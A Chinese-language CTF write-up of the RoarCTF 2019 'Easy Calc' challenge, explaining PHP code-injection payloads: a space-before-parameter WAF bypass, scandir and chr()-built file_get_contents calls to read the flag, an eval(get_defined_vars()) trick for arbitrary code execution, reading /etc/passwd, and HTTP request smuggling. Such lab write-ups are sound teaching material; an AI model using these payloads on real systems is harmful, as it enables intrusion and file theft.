RoarCTF 2019-Easy Calc

image-20240427153522480

所以很简单看到是上传到calc.php里

所以直接尝试访问

image-20240427160135413

所以是传一个num,然后正则匹配这些符号

尝试一下命令执行吧

`?num=system('ls');`

image-20240427161140782

查询之后发现是需要空格绕过

但是这个空格绕过和之前不一样

以前是会在system之前加空格

这次是在num之前加空格

这样服务器会认为传入的参数是 空格num ,而不是 num 。这里用到这种绕过方式是因为假定服务器只对 num 参数做检测,而对于其他参数不做检测。

当 空格num 参数传入到后端,被 PHP 代码处理时,会被去除多余空格及特殊字符:如空格、制表符、回车换行符以及某些特殊字符等。这样一来仍然是 num 参数了。

payload:calc.php? num=var_dump(scandir(current(localeconv())));

查看当前目录下的文件
localeconv() 函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。
current() 函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv() 函数返回的数组的第一个元素的值,即一个小数点。
scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(“.”) 表示获取当前目录下的文件列表。
最后使用 var_dump() 函数将该列表输出到页面上。

但其实这里可以更简单:

calc.php? num=var_dump(scandir(chr(46)));

46 是 “.” 的 ASCII 码值,返回结果:

因为可以有参数嘛。用 chr() 函数将数字变为字符。

同理查看根目录下的文件:

calc.php? num=var_dump(scandir(chr(47)));

47 是 “/” 的 ASCII 码值

在这里插入图片描述

找到/f1aag这个文件

查看 /f1agg 文件

num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

知识点2.file_get_contents() 函数

把整个文件读入一个字符串中。

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

分别是 ‘/’ ‘f’ ‘1’ ‘a’ ‘g’ ‘g’ 的 ASCII 值转字符,‘.’ 用作字符串连接。每一个 chr() 函数返回的结果由于是字符,所以自带了一对引号,不需要额外再加。

在这里插入图片描述

知识点3.url溢出

? num=1;eval(end(pos(get_defined_vars())))&nss=phpinfo();&get_defined_vars()

返回由所有已定义变量所组成的数组,会返回 _GET , _POST , _COOKIE , _FILES 全局变量的值,返回数组顺序为 get->post->cookie->files 。

current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回 $_GET 变量的数组值。

end() : 将内部指针指向数组中的最后一个元素,并输出。即新加入的参数 nss 。

最后由 eval() 函数执行,使得 get 方式的参数 nss 生效。

这样的话就可以再利用 nss 传参了,由于代码只对 num 参数的值做了过滤,因此 nss 参数理论上可以造成任意代码执行。

这样可以看到phpinfo,找到disable_function函数

查看 /etc/passwd 文件

? num=1;eval(end(pos(get_defined_vars())))&nss=include("/etc/passwd");

输出结果:

在这里插入图片描述

知识点4.http请求走私

在这里插入图片描述

大致原理就是使用了两个 Content-Length 头,使得前端无法识别,直接将整个包完全发给了后端。但这样还是要接受后端的黑名单过滤,所以 num 传参还是不能为所欲为。